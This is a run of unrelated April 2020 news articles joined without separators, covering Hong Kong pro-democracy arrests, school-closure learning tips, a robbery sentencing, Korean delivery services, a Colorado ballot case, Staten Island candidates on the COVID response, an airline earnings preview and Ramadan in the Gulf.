Daily, was arrested by police officers at his home in Hong Kong on April 18 [File: Vincent Yu/AP] He added that the outbreak has also influenced Beijings approach in the lead-up to the Legco elections. Dapiran noted that, in the past, China had tried to use its soft power to try and increase its influence on Hong Kongs residents in a positive way, but has since taken a tougher stance. But the virus has really done damage to the mainlands reputation in Hong Kong. Many Hong Kongers blame the mainland authorities, not so much for the virus, but what many see as the cover-up that enabled the virus to spread, the longtime Hong Kong resident said. Tactic of repression With the pandemic and the protests, building goodwill has become unachievable for Beijing, according to Dapiran. So all theyre left with as a tactic is repression, he said. In addition to the arrests, Hong Kongs pro-democracy camp is grappling with recent comments from the Hong Kong and Macau Affairs Office (HKMAO) Chinas main body that oversees the affairs of the two cities. HKMAO recently expressed its support for the Hong Kong police and singled out pro-democracy Civic Party legislator Dennis Kwok for criticism, accusing him of abusing his role as Legco member through filibustering. The Hong Kong government of Carrie Lam has expressed its support of HKMAOs comments. But Lee, the pro-democracy icon, questioned the HKMAOs latest move. They say that Article 22 does not apply to them, because they are not departments of the Central Government, he said, referring to an article in Hong Kongs de facto constitution or Basic Law that precludes interference by Chinas government in affairs Hong Kong administers. Then my question is, What are you? Are you a department of the German government? Absolutely not. They are certainly not a department of the Hong Kong government, so they must be a department of the Chinese central government. Muscle-showing exercise The recent arrests in Hong Kong also come at a time when its media has sunk seven places in the World Press Freedom Index. Cedric Alviani, head of Reporters Without Borderss East Asia bureau, told Al Jazeera that the highly public arrest of Lai was an attempt to damage the reputation of the entrepreneur and publisher of Apple Daily, Hong Kongs second best-selling newspaper. Meanwhile, Alvin Yeung, Legco member and leader of the Civic Party, said the arrests and the recent HKMAO statements are clearly a muscle-showing exercise by Beijing. That really opens up a floodgate, in a sense, that they dont mind to be seen as interfering, he told Al Jazeera, as he expressed concern over the possible disqualification of his colleague, Kwok. My colleague Dennis Kwok is like the top enemy of the state. Could you imagine someone like Dennis Kwok could become that? Then anything could happen. All we can do is stick to whatever we think is right, says Yeung. Winter is here Yeung said it is becoming more challenging for pro-democracy leaders to stand up to China, as the Hong Kong government only listens to Beijing loyalists. Its probably going to be a long winter, but when winter is here, you know spring is just around the corner. Maybe a far end corner, but eventually, Yeung said, comparing the situation in Hong Kong to the US fantasy drama, Game of Thrones, about a fight for political supremacy and struggle for freedom. Yeung said he expects more protests in the coming weeks and months as regulations ease on physical distancing measures put in place to help curb the spread of the coronavirus. Police watch the dispersal of anti-government protesters from a shopping mall after a rally in Hong Kong on Sunday [Tyrone Siu/Reuters] We dont have a choice but to stand and fight. When the other side isnt going to back down, our choices are limited. At present, Hong Kong continues to ban groups of more than four people. Police have zero tolerance against any violation and will take strict enforcement action, a police statement responding to calls for protest said. Lee, the pro-democracy leader, has long advocated for non-violent measures, but he concedes that there have been times when a mild degree of force has gained results. Amid the coronavirus pandemic, protesters defied social distancing regulations in Hong Kong to demonstrate against the government on Sunday [Tyrone Siu/Reuters] He cited the June 19 protest, when young Hong Kong activists prevented pro-Beijing legislators from entering the Legco building and passing the widely-criticised China extradition bill. After several adjournments, the bill was eventually withdrawn. It would have become law, and the older people, including me, could be sent back to China for trial, on trumped-up charges, he told Al Jazeera. But Lee believes that most of the students would not want to continue using force if China were to respect the rights of Hong Kong citizens. As for Dapiran, the Hong Kong-based lawyer and author, he said protesters have to find a balance between wanting to put pressure on the government and expressing various grievances. He said the pro-democracy figures, activists and students would not want to give the government an excuse to call off the September 2020 elections. Photo: (Photo : How Students of Any Age Can Stay Productive During School Closures) Recent school closures have put a lot of added stress on parents and students, but education doesn't have to stop just because everyone's at home. There are ample opportunities for students to continue building their skills and earning credits. Here, we explore ways for students at all three levels - elementary, secondary, and post-secondary - to keep on track while schools are closed this spring. Audiobooks for Elementary School Learners Learning doesn't have to stop when children have access to whole libraries of entertaining and informative audio titles. A membership with Audible or a similar provider gives you access to over 100,000 titles, with popular titles narrated by celebrities from Neil DeGrasse Tyson to Claire Danes. During continued school closures, Audible is even offering a free service meant to help parents keep their kids engaged while at home. The Audible Stories service is free to all users and requires no prior membership. Titles like Anne of Green Gables (narrated by Rachel McAdams) are a fantastic way to keep elementary kids learning outside the classroom. e-Learning for High Schoolers For secondary school students looking to stay on track while schools are closed, e-learning through a virtual high school is a terrific tool. Virtual high schools have long offered flexible educational opportunities, and now with school closures across North America, e-learning is an even more vital way for students to stay on the path to graduation. Online courses, like those offered at Ontario Virtual School, are extremely beneficial to students who prefer self-regulated learning, or who want to study at their own pace. With the right virtual high school, students can earn a credit in as little 4 weeks or can take up to 12 months. This flexibility allows students to spend more time on the concepts they struggle with and less on those they understand easily. e-learning also eliminates the negative and unnecessary distractions that often come with traditional day schools, including social drama, bullying, and peer pressure. Online courses allow students to plan school around their lives, rather than planning their lives around school. Virtual Study Groups for University Students University students who suddenly find themselves studying remotely don't need to give up all the perks of the traditional campus experience. Whatever subject you're studying, you're not alone, and there are other students just like you trying to adjust to the sudden changes. If you crave the scholastic and social benefits of sharing course information, why not form a virtual or online study group? It will take a bit of initiative, but it will pay major dividends. Groups can keep each other accountable for deadlines, create study benchmarks, cram together before exams, and support one another throughout the semester. Study groups also help students develop new skills. Over years of schoolwork, students develop ingrained study habits that for better or worse can be hard to shake. By joining a study group, students are able to observe a much wider pool of study methods and even make improvements to their own systems. As governments continue to keep school doors closed, students and their parents will need to look to other educational models. Students of any age can ensure they stay on the path to success provided they have the right roadmaps at their disposal. A Painesville man could spend up to 30 years in prison for a July 31 aggravated robbery in the city that sent the victim to the hospital with stab wounds and blunt force trauma. Lake County Common Pleas Court Judge Pat Condon recently sentenced Patrick Spurrier to a minimum of 24.5 years and a maximum of 30 years in prison on attempted murder and other charges stemming from the incident. Spurrier, 19, is the second of three men to be sentenced for his involvement. Spurrier, along with 21-year-old David C. Stanley and 20-year-old Michael Joyce previously pleaded guilty to first-degree felony attempted murder, first-degree felony aggravated robbery, counts of third-degree felony tampering with evidence, and fourth-degree felony grand theft of a motor vehicle. Painesville police responded at 10:45 p.m. on the night of the incident to an apartment in the 200 block of Mentor Avenue. The 39-year-old victim was found inside the apartment and was transported to TriPoint Medical Center in Concord Township and then by medical helicopter to MetroHealth Medical Center in Cleveland with stab wounds and blunt force trauma. Stanley and Joyce were arrested Aug. 3 by Painesville police in connection to the incident. On Aug. 5, Niles Police Capt. James Villecco identified the victims stolen car being driven by Spurrier. The suspect allegedly fled and struck other cars, including Villeccos cruiser. Spurrier ultimately totaled the stolen car after colliding with a pole on North Road in Niles. A 14-year-old passenger was also taken into custody. Condon ordered Spurrier to pay $7,856 in restitution to the victim. He will be on five years of post-release control and must register in the Ohio Violent Offender Database upon his release from prison. Spurrier has 263 days jail credit, according to court records. Prosecutors could bring additional charges against Spurrier if the victim dies from his injuries. Spurrier is also facing charges in Trumbull County Common Pleas Court stemming from the incident in Niles. In September, Spurrier was indicted by a Trumbull County grand jury on charges of third-degree felony failure to comply with order or signal of a police officer, third-degree felony endangering children and fourth-degree felony receiving stolen property. That case is still open, according to Trumbull County Common Pleas Court records. Stanley, of Mentor, was sentenced by Lake County Common Pleas Court Judge Eugene A. Lucci to between 23.5 and 29 years in prison. Like Spurrier, Stanley could face additional charges if the victim dies from his injuries. Joyce, who is homeless according to court records, is scheduled to be sentenced May 5 by Lake County Common Pleas Court Judge Vincent A. Culotta. By Hallie Bradley Though the daily new cases of COVID-19 in Korea are decreasing, the government continues to warn citizens against going out unnecessarily. But what is or isn't necessary depends on a lot of factors, and languages understood and spoken is one of them. One of the biggest difficulties foreigners in Korea have faced as they try to remain indoors is using websites and apps that are only available in Korean. Phillip Ochola Mak'Anyengo is the CEO of Wonderful, formerly Ask Ajumma, a bilingual personal assistant service that helps foreigners in Korea with everything from booking travel to getting concert tickets and ordering chicken delivered to their home. Though they can do all of that, he said, "Lately, we have more clients asking for help with grocery purchases, courier services and food delivery. Many Korean websites and apps are still hard for foreigners to navigate." Zach Marble, COO and co-founder of Shuttle, a food delivery service, agrees. "We've seen an uptick in orders because people aren't dining out at the restaurants they are opting for delivery instead," he said. There are a handful of English-speaker-friendly options here in Korea that are helping visitors and foreign residents get food delivered to their door so they don't have to leave their homes. As more families practice social distancing and seek to minimize trips outside, some companies have stepped up to help the English-speaking minority. Slowbox Slowbox delivers locally sourced non-GMO organic produce including vegetables, fruits, tofu and eggs from local organic farmers. The service provides a small or large box of seasonal and eco-friendly agricultural products while minimizing environmental damage in the process from production to distribution. The company uses sustainable delivery methods and packaging and focuses on a holistic ecosystem to bring healthy food to customers each week. During this time, it's especially important to remain healthy and in fighting order and Slowbox has maintained its weekly delivery service throughout the COVID-19 outbreak here. Visit slowbox.kr to learn more about their services. Wonderful This service assists foreigners with virtually any task imaginable but among them is grocery and restaurant deliveries. "I think most clients find it hard to purchase on many Korean websites," Mak'Anyengo explained. "Problems with complicated payment systems to coordinating with delivery people who do not speak English make it hard for a foreigner who might not know Korean well." The service works on a time basis so patrons only pay for the time it takes to complete a task. Give them a list of groceries and they'll handle the rest or get them an address and they can find the nearest restaurant that can deliver a burger. Wonderful is also offering a 15 percent discount to anyone signing up to their service for the first time using the code WONDERFUL680. Visit gowonderfully.com to find out more. Sprout Seoul Sprout Seoul is a natural healthy whole food service that conveniently ships delicious healthy meals free of overprocessed ingredients, chemicals and additives right to customers' doors. The service provides a complete menu of home-cooked style meals including hot dishes, salad bowls, snacks, desserts and breakfasts that can be shipped anywhere in the country. This meal plan makes it easy to prepare for the week ahead. Founded in 2015 by a registered holistic nutritionist, the service has years of service to the foreign community under its belt and has continued to serve throughout the outbreak so that people can eat better, feel better and have less stress each week. Visit sproutseoul.com to find out more. Shuttle Delivery Shuttle is the biggest food delivery platform that caters to the foreign community in Seoul. They serve foreigners in Yongsan-gu, Gangnam-gu, Seocho-gu, Seodaemun-gu, Mapo-gu, Jongno-gu and Jung-gu in Seoul as well as Haeundae-gu and Suyeong-gu in Busan and Osan Air Base and Camp Humphreys in Pyeongtaek. Shuttle has also adapted its services because of COVID-19. Marble explained, "We no longer accept payments at the door all transactions are prepaid only. All of our drivers must wear masks and wash their hands with sanitizer after leaving the?restaurants and after delivering to customers. Sometimes customers request no contact at the door so we leave the food outside their door to practice social distancing." Use their services via or the Shuttle app. Hallie Bradley is a writer based in Seoul and runs the popular site? . Delone Catholic High School officials didnt address the pervasive bullying their son was enduring as a ninth-grader, the boys parents claim in a newly filed federal lawsuit. Instead, the parents say, the school kicked their boy out, exacerbating the psychological issues that made him a targeting for bullying in the first place. Micheal and Dr. Lisa Kugler claim in their U.S. Middle District Court complaint that the schools alleged actions and inaction violated their sons civil rights. They are seeking unspecified financial damages. The Roman Catholic Diocese of Harrisburg, which operates Delone, had this to say about the case: The attorneys for Delone Catholic High School are reviewing the complaint and its allegations. At the proper time and in the proper forum, a response to the allegations will be made. Until then, it would not be appropriate to comment any further on pending litigation. According to the Kuglers, their son immediately began experiencing bullying after enrolling in the McSherrystown school in August 2018. The teen expressed suicidal ideations as a result of the pervasive bullying he was experiencing, the suit states. More specifically, it was alleged that (their son) had used his school computer to write suicidal statements. School officials told them about those statements, the couple says. They claim it was the first they heard of the bullying. Yet, they contend school officials did nothing to stop the bullying. Delone leaders still didnt address it after their son was accused of making statements about bringing a gun to school, the parents insist. The only action taken by the school, they claim, was to bar their son from returning to class pending a psychological evaluation. The Kuglers say a polygraph test showed the boy had not threatened to bring a gun to school or to hurt anyone. A psychologist determined the teen was not a danger, the suit states. Despite that finding, Delone officials told them their son would not be allowed back in school because it didnt have the resources to accommodate his needs, the Kuglers claim. That violated the teens rights as a disabled person, they contend. They claim their sons later diagnosis of post-traumatic stress disorder is directly linked to the bullying they insist he suffered at Delone. The Kuglers seek damages on grounds including discrimination, breach of contract and negligent infliction of emotional distress. STATEN ISLAND, N.Y. -- As concerns continue to grow about food security in New York, Gov. Andrew Cuomo announced new initiatives Monday to help state residents in need. The state will be committing $25 million from its Public Health Emergency Fund for food banks and providers hardest hit by the coronavirus pandemic, asking philanthropies to help food banks, and coordinating with dairy farmers to ensure they do not need to dump milk, as has been reported in upstate New York. Multiple reports, including from Syracuse.com, indicated upstate farmers have had to dump millions of pounds of raw milk as they deal with the pandemics impact on those markets. This is just total waste, to me, Cuomo said. We have people downstate who need food, we have farmers upstate who cant sell their product. We have to put those two things together. Its just common sense. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** Corporations, like Chobani yogurt, will be coordinating with the state to purchase raw milk from the farms, and then provide it to food banks in need. Demand for food banks is on the rise across the state. In New York City, demand has seen a 100% increase. In Westchester County, demand has risen 200%, Cuomo said during his Monday press briefing. The pandemic has left tens of millions unemployed across the country. New York states Department of Labor has processed at least 1.4 million unemployment applications and doled out $3.1 billion in the last six weeks due to job losses. City officials have opened more than 400 meal hub sites that offer grab-and-go meals that are free to adults and children across the five boroughs while public schools are closed due to the coronavirus. On Staten Island, Borough President James Oddo announced Monday that his offices partnership with Fresh Direct would be relaunching to make an additional 400 meals available to borough residents. [April 28, 2020] China Matters Releases Behind The Scenes Video of Photographers Capturing Frontline Workers During COVID-19 Pandemic WUHAN, China, April 28, 2020 /PRNewswire/ -- A 3-minute video co-produced by China Matters and Hubei Media Group has been released, showing the behind-scene stories of photographers engaged in a portrait album project. It reveals the touching moments when the medical workers shared their plans after returning home from Wuhan. In order to record these medical workers in the fight against COVID-19, a group of over 60 photographers were involved in the project. Some 40,000 medical workers were photographed, who risked their lives in aid of medical treatment in Hubei Province. In the photos, all characters reveal their faces that have long been covered by surgical masks and goggles in work, many with clear marks and impressions on their faces. Three months have passed from the early stage of the epidemic when the coronavirus began spreading from Wuhan. The number of confirmed cases grew very quickly, which brought huge pressure to the local medical sstem. More than 40,000 medical workers from across China headed to the epicenter to assist with COVID-19 treatment. They did not only help ease the shortage of local medical workers, but brought plenty of protective gear according to China Matters. Through tough measures and cooperation between different sectors for prevention and control, the situation in Wuhan gradually came under control. On April 8, 2020, Wuhan reopened after 76 days' lockdown. By April 26, the number of COVID-19 patients in Wuhan, once the epicenter of coronavirus in China, has dropped to zero, a health official said. The portrait album project hopes to shed light and provide an insight into the fight against COVID-19 in Wuhan. Contact: Ms. Cheng Yao Tel:+86-10-68996566 E-mail:[email protected] Facebook :https://www.facebook.com/chinamatters/videos/569309667039474/ Youtube: https://www.youtube.com/watch?v=Sh8PFhzFap8 View original content to download multimedia:http://www.prnewswire.com/news-releases/china-matters-releases-behind-the-scenes-video-of-photographers-capturing-frontline-workers-during-covid-19-pandemic-301048274.html SOURCE China Matters [ Back To TMCnet.com's Homepage ] Democratic U.S. Senate candidate Michelle Ferrigno Warren is headed back to court to defend her place on Colorado's primary ballot. The Colorado Supreme Court agreed Monday to hear an appeal by Colorado Secretary of State Jena Griswold challenging a lower court ruling that Warren belongs in the June primary, despite failing to collect the required number of petitions signatures. Warren won the first round last week in Denver District Court, where Judge Christopher J. Baumann ruled that she "substantially complied" with signature requirements, considering difficulties her campaign encountered as the coronavirus pandemic unfolded across the state. The ruling added Warren to a primary ballot that already included former Gov. John Hickenlooper, who qualified by petition, and former state House Speaker Andrew Romanoff, who was the sole candidate to emerge from the caucus and assembly process. The winner of the June 30 primary will face Republican U.S. Sen. Cory Gardner, who is seeking a second term in an election that could determine which party controls the U.S. Senate. Griswold appealed Baumann's ruling late Friday night, arguing that it would be unfair to candidates who collected enough signatures if Warren remains on the ballot because she fell too far short of the legal requirements particularly by turning in an underwhelming number of signatures from some congressional districts. Statewide candidates can qualify for the ballot two ways: by turning in 10,500 valid signatures including 1,500 from each of the state's seven congressional districts or by securing the support of at least 30% of delegates to a political party's state assembly. In its en banc order agreeing to review the decision, the high court ordered Warren's attorneys to file an answer to Griswold's appeal by 4 p.m. Thursday. A global pandemic cannot stop the most fundamental workings of our democracy fair and free elections," Warren said in a statement. She added that she looks forward to bringing her case to the supreme court "to ensure that our election process has the highest integrity and accounts for the unforeseen barriers that COVID-19 had on the signature gathering process. Warren's lead attorney Joy Athanasiou welcomed the court's decision to hear the case. "We believe the Colorado Supreme Court will impartially review the real world difficulties that candidates faced in meeting the statutory requirements and uphold the District Courts threshold of 50% as a fair and just standard in light of the COVID-19 pandemic, and in line with similar decisions around the country. In his ruling, Baumann determined that the 5,383 valid signatures collected by Warren just over half the required statewide total established "significant public support," while Griswold argues that Warren's scant numbers in several congressional districts demonstrate she lacked necessary support across the state. A spokeswoman for Griswold told Colorado Politics that the Secretary of States Office was happy the court would be reviewing the case. "Our democratic processes must remain accessible and fair during this health crisis. We hope that the Supreme Court issues a uniform standard for candidate petitioning that can be applied in all similar cases to ensure fairness across the board," said Betsy Hart, the secretary's communications director, in a statement. Warren argued that she was prevented from completing her petition drive in early March as the coronavirus pandemic swept into the state, leading to restrictions on public gatherings and more cautious voters. On top of that, she noted, a week before the March 17 deadline to turn in petitions, Gov. Jared Polis declared a state of emergency. The judge agreed. Wrote Baumann: "In the best of times, engaging strangers in public, holding their attention, and acquiring their signatures on a petition is challenging. In a climate of social distancing to mitigate the spread of a communicable disease, it is even more so. During a declared state of emergency, it becomes almost futile." Two other Democratic U.S. Senate candidates who didn't collect enough valid signatures are also pursuing spots on the primary ballot through the courts nonprofit executive Lorena Garcia and climate activist and psychologist Diana Bray. With 9,428 signatures determined to be valid, Garcia filed her court challenge to the secretary of state's insufficiency ruling on Friday. Bray, who had 2,724 signatures ruled valid by the Secretary of State's Office, argued her case before Baumann on Friday, with a ruling expected within days. Romanoff told Colorado Politics that he believes it would be unfair to penalize candidates whose petition drives were impeded by the advent of the pandemic. "It sounds like both sides in this case agree the only question is what the threshold should be," he said in a text message. "Im ready, willing, and eager to debate anyone who meets it." Hickenlooper's press secretary sounded a similar note in a statement to Colorado Politics. "John agrees it should be easier for candidates to get on the ballot and trusts the courts will resolve this in a fair and reasonable fashion," said Ammar Moussa. Griswold has until May 7 to certify the primary ballot to county clerks, and they can start putting ballots in the mail to most state voters on June 9. NEW YORK, N.Y. -- The coronavirus has brought politics to nearly a grinding halt as all levels of government have rushed to respond to the pandemic. At the forefront of that response has been President Donald Trump, Staten Islands favored presidential candidate in 2016, whose approval rating has taken a hit during the pandemic as he and his administration have come under fire for downplaying the severity of the crisis early on, being slow to roll out coronavirus testing and his initial insistence to reopen the economy by Easter. Trumps handling of the coronavirus is likely to shape both his legacy as president and play a key role in how Americans vote at the polls come Nov. 3. For Staten Island and South Brooklyn, Trump's response to the pandemic could also determine how Staten Islanders and South Brooklynites vote in the closely watched congressional race. The Trump factor and how the presidents name at the top of the 2020 ticket will impact the Islands race, has been a question mark for experts watching it play out. The Islands two Republicans vying to unseat freshman Democratic Rep. Max Rose -- Assemblywoman Nicole Malliotakis, the favored candidate of the GOP establishment, and former Brooklyn prosecutor Joseph Caldarera, have sought to closely align themselves with the president. Meanwhile, Rose, a centrist Democrat, and the Islands second Democrat to win the boroughs congressional seat in three decades has had to tread lightly when it comes to Trump. He initially said he was opposed to impeaching the president but voted in favor of two articles of impeachment three months later after the president was embroiled in the Ukraine controversy. Despite voting to impeach the president, Rose later said he was willing to work with him when needed. But when it comes to the presidents response to the coronavirus pandemic all three congressional candidates have agreed on one thing: They refuse to lay blame on the president for where the country is today in the pandemic, leading the world with the highest number of confirmed cases and deaths. As of April 26, there were 957,875 confirmed coronavirus cases and 53,922 deaths across the country, according to the Centers for Disease Control and Preventions latest figures. They also say their campaigns have effectively been on hold to respond to the crisis. MAX ROSE SAYS HES NOT IN THE BUSINESS OF GRADING PEOPLE Im not in the business of grading people. Ive said what I think, the president could do better, and theres certainly some things that I and New York and Staten Island are very grateful for, Rose said in a recent interview with the Advance when asked about Trumps overall handling of the pandemic. After returning from deployment with the National Guard to the Islands coronavirus field hospital at the South Beach Psychiatric Center, Rose said that if the president wins the fight against the coronavirus, he would be willing to accept his second term in office, a position he said he had been criticized for from members of the Democratic Party. It doesn't save one persons life, it doesnt open up the economy in any way shape or form to assign blame to any one individual to include the president, that doesnt help anyone, Rose said when asked whether the president waited too long to sound the alarms on the coronavirus and was to blame for where the country is today. We are in the middle of a war, the most important thing right now is thinking about two things, what can we do to get out of this pandemic and economic crisis and what can we do to prepare ourselves so that we do not let this happen again, thats whats most essential. Rose applauded the president for sending over the USNS Comfort Naval hospital ship, which he helped advocate to bring. He also commended Trump for sending New York military medical personnel, which he said was Mayor Bill de Blasio fault, not the presidents fault for not giving Staten Island its fair share of. But he said the president could have done a better job at purchasing critical supplies and sending them out as well as expanding hospital capacity early on. He also criticized the presidents recent suggestion that ingesting disinfectant could help people suffering from the coronavirus, which the president later said he was being sarcastic about. Words matter when people are this scared and desperate. The president should know better than to suggest people inject bleach into their bodies, Rose said. Enough already, let the scientists lead the way. Trump initially told Americans the country had the virus under control and it was going to be fine throughout February as China shut down the city of Wuhan to stop the spread of the virus and later the entire province of Hubei and as Italy grappled with a major outbreak in the Lombardy region, according to an analysis of the presidents coronavirus response by The Washington Post. In late February, Trump accused Democrats of politicizing the virus during a campaign rally saying it was their new hoax. On March 10 the president told Americans to just stay calm. It will go away. Six days later on March 16, he reflected publically on the gravity of the virus, saying for the first time the virus was not under control for any place in the world, according to The Washington Post. MALLIOTAKIS SAYS NO ONE ACKNOWLEDGED THE SEVERITY OF CORONAVIRUS UNTILL MID-MARCH Assemblywoman Malliotakis declined to comment when asked whether Trumps suggestion to ingest disinfectant was dangerous. Malliotakis said it was not fair to say Trump did not acknowledge the severity of the coronavirus pandemic until mid-March when nobody did. She noted that when the country reported its first coronavirus patient, Trump was still in the middle of his impeachment trial and pointed out that the CDC had started issuing public warnings in January about the outbreak in China. You can't say that the president didn't acknowledge it when no one had the facts, Malliotakis said. Instead, Malliotakis blamed the Obama administration for leaving the country ill-prepared for the next global pandemic by not replenishing the countrys Strategic National Stockpile of medical supplies the country relies on for its healthcare system during times of crisis. She also said that virtually anything New York asked for from the federal government, it received. From ventilators to protective personal equipment. The previous administration is just at fault, and in hindsight, it's 2020, but the reality is that this president took specific bold measures beginning with the screenings which were just a few days after that first patient came in, while the Democrats were celebrating the articles of impeachment being signed, Malliotakis said. CALDARERA SAYS TRUMPS CORONAVIRUS RESPONSE HAS BEEN GREAT Malliotakis GOP primary rival Caldarera said that overall, he thinks the president has done a great job in his coronavirus response. The president is certainly not to blame, first of all, the statistics of the United States having the highest number of deaths in the world comparing it to Italy for example, look at our population, countries compared to other smaller countries which Ive seen, referenced in the media, but the people who are to blame are China and the World Health Organization for holding back the information from us for an extended period of time, Caldarera said. Caldarera said he believed Trumps remarks about using disinfectant to treat the virus were taken out of context. Everything he has done from the beginning has been to help the American people through this pandemic and I think the federal response has been right on the money, he said. The response from our elected officials here in New York, however, is proving more and more disastrous every day. WHEN SHOULD THE COUNTRY REOPEN THE ECONOMY? As the country has reached record unemployment levels the question of when the economy can reopen has taken center stage. In some states, people have taken to the streets to protest stay at home orders, calling on their elected officials to quickly reopen the economy. Trump has repeatedly called on states to take the lead, and in New York, Gov. Andrew Cuomo has called for the states economic reopening to be conducted on a regional basis. Rose said the country would need to reopen the economy gradually. It can't be a question of immediately going back to where we were [pre-coronavirus] thats going to be very difficult in the absence of a vaccine, Rose said. But we have to begin slowly, incrementally, responsibility, to open up this economy so that we can help people get back to work. Malliotakis said the country should reopen the economy as soon and as safe as possible. On Monday, she called on Cuomo to allow certain outdoor businesses to reopen in May. The types of businesses she said she thinks should reopen by May include construction, pool installation, landscaping and maintenance. She said these businesses needed across the entire state, not just upstate. Caldarera said he thinks the economy should reopen safely, but as quickly as our elected officials deem is responsibly possible. CONGRESSIONAL CAMPAIGNS ON THE BACK BURNER For now, all three candidates said their campaigns are currently on the back burner as they work to respond to the pandemic. I have no idea whos paying attention to politics right now, this congressional race politics is what it is right now, we have a crisis on our hands, Rose said. My campaign right now is on the back burner, 100% focused and have been for the last two months ... doing the best I can do in my capacity as a state assemblymember to ease the pain for my constituents, Malliotakis said. Caldarera said: I think all eyes are focused on getting through the coronavirus, I dont think anybodys top priority is this New York 11 race, he said. Politics comes second, getting through this crisis certainly comes first. FOLLOW SYDNEY KASHIWAGI ON TWITTER. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** A 911 call believed to have been made by a friend of actor Amber Heards, in which she says that the actor was assaulted, has been released. The tape is said to be a part of Heards ongoing court proceedings against ex-husband Johnny Depp, who has sued her for $50 million. According to Page Six, Depps lawyers claim that the tape is evidence of a set-up. Quite simply, this was an ambush, a hoax. They set Mr Depp up by calling the cops but the first attempt didnt do the trick, Depps lawyer Adam Waldman told Daily Mail. In the tape, a person, Hi, I need to report an assault right now happening at 849 Broadway at the Eastern building, its penthouse three. The caller is referring to a house shared by Heard and Depp, and says in the tape that her friend Amber called to say that her boyfriend was assaulting her. Send somebody up there please, the caller says. Also read: Johnny Depp says ex-wife Amber Heard sliced his finger off, and it erupted like Vesuvius So what did she say? That this guy assaulted her or hit her? the LAPD operator asks. Physically assaulting her, yeah, the caller says. The caller is believed to be Heards friend, iO Tillett Wright, whod previously said that theyd made the call in a statement via the actors lawyer. I then heard Amber crying in fear and begging Johnny to stop his attack, thereafter I heard Amber scream out Call 911 before the call got disconnected. I called 911 to save Ambers life, the caller said. Heards lawyer, meanwhile, dismissed Depps lawyers claims. Mr Depps representations about the 911 calls on the night of May 21, 2016 are false, and Mr Depp and his lawyers should know better, Roberta Kaplan said. Follow @htshowbiz for more Wall Street expects a year-over-year decline in earnings on lower revenues when Alaska Air Group (ALK) reports results for the quarter ended March 2020. While this widely-known consensus outlook is important in gauging the company's earnings picture, a powerful factor that could impact its near-term stock price is how the actual results compare to these estimates. The earnings report, which is expected to be released on May 5, 2020, might help the stock move higher if these key numbers are better than expectations. On the other hand, if they miss, the stock may move lower. While the sustainability of the immediate price change and future earnings expectations will mostly depend on management's discussion of business conditions on the earnings call, it's worth handicapping the probability of a positive EPS surprise. Zacks Consensus Estimate This airline is expected to post quarterly loss of $1.33 per share in its upcoming report, which represents a year-over-year change of -882.4%. Revenues are expected to be $1.69 billion, down 9.9% from the year-ago quarter. Estimate Revisions Trend The consensus EPS estimate for the quarter has been revised 520.26% lower over the last 30 days to the current level. This is essentially a reflection of how the covering analysts have collectively reassessed their initial estimates over this period. Investors should keep in mind that an aggregate change may not always reflect the direction of estimate revisions by each of the covering analysts. Price, Consensus and EPS Surprise Earnings Whisper Estimate revisions ahead of a company's earnings release offer clues to the business conditions for the period whose results are coming out. This insight is at the core of our proprietary surprise prediction model -- the Zacks Earnings ESP (Expected Surprise Prediction). The Zacks Earnings ESP compares the Most Accurate Estimate to the Zacks Consensus Estimate for the quarter; the Most Accurate Estimate is a more recent version of the Zacks Consensus EPS estimate. The idea here is that analysts revising their estimates right before an earnings release have the latest information, which could potentially be more accurate than what they and others contributing to the consensus had predicted earlier. Story continues Thus, a positive or negative Earnings ESP reading theoretically indicates the likely deviation of the actual earnings from the consensus estimate. However, the model's predictive power is significant for positive ESP readings only. A positive Earnings ESP is a strong predictor of an earnings beat, particularly when combined with a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold). Our research shows that stocks with this combination produce a positive surprise nearly 70% of the time, and a solid Zacks Rank actually increases the predictive power of Earnings ESP. Please note that a negative Earnings ESP reading is not indicative of an earnings miss. Our research shows that it is difficult to predict an earnings beat with any degree of confidence for stocks with negative Earnings ESP readings and/or Zacks Rank of 4 (Sell) or 5 (Strong Sell). How Have the Numbers Shaped Up for Alaska Air? For Alaska Air, the Most Accurate Estimate is lower than the Zacks Consensus Estimate, suggesting that analysts have recently become bearish on the company's earnings prospects. This has resulted in an Earnings ESP of -11.05%. On the other hand, the stock currently carries a Zacks Rank of #3. So, this combination makes it difficult to conclusively predict that Alaska Air will beat the consensus EPS estimate. Does Earnings Surprise History Hold Any Clue? Analysts often consider to what extent a company has been able to match consensus estimates in the past while calculating their estimates for its future earnings. So, it's worth taking a look at the surprise history for gauging its influence on the upcoming number. For the last reported quarter, it was expected that Alaska Air would post earnings of $1.41 per share when it actually produced earnings of $1.46, delivering a surprise of +3.55%. Over the last four quarters, the company has beaten consensus EPS estimates four times. Bottom Line An earnings beat or miss may not be the sole basis for a stock moving higher or lower. Many stocks end up losing ground despite an earnings beat due to other factors that disappoint investors. Similarly, unforeseen catalysts help a number of stocks gain despite an earnings miss. That said, betting on stocks that are expected to beat earnings expectations does increase the odds of success. This is why it's worth checking a company's Earnings ESP and Zacks Rank ahead of its quarterly release. Make sure to utilize our Earnings ESP Filter to uncover the best stocks to buy or sell before they've reported. Alaska Air doesn't appear a compelling earnings-beat candidate. However, investors should pay attention to other factors too for betting on this stock or staying away from it ahead of its earnings release. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Alaska Air Group, Inc. (ALK) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research People throughout the Arab Gulf are scaling back their celebrations of the Muslim Holy month of Ramadan this year because of the Covid-19 pandemic. Though some countries have eased the restrictions that have been in place for weeks to stop the spread of the coronavirus, people still miss the feel of Ramadan. Mosques are still closed to prayers, gatherings are not allowed, curfews are still in place even if shorter than they were, and many other activities associated with the fasting month are absent. Nevertheless, major cities in the Arab Gulf countries have decorated the streets with Ramadan lights and symbols as usual, trying to give the impression that the current changes are temporary and Ramadan is being celebrated. Some businesses have started advertising Ramadan promotions and discounts, including grocery stores and car dealerships. But people in the Gulf have had to give up many of their usual practices in the Holy month, and they anticipate that the end of fasting is unlikely to be the usual Eid. Despite guesses that things might change towards the end of May, it seems likely that many of the current restrictions will be part of a new normal, and going back to the same lifestyle as before the coronavirus pandemic is not likely for some time to come. The first country in the Gulf to announce an easing of the lockdown measures was the United Arab Emirates (UAE), which has reduced the time people have to stay at home during its National Sterilisation Programme. It has also allowed shopping malls to reopen, though only at 30 per cent of capacity and with visitors strictly adhering to social-distancing 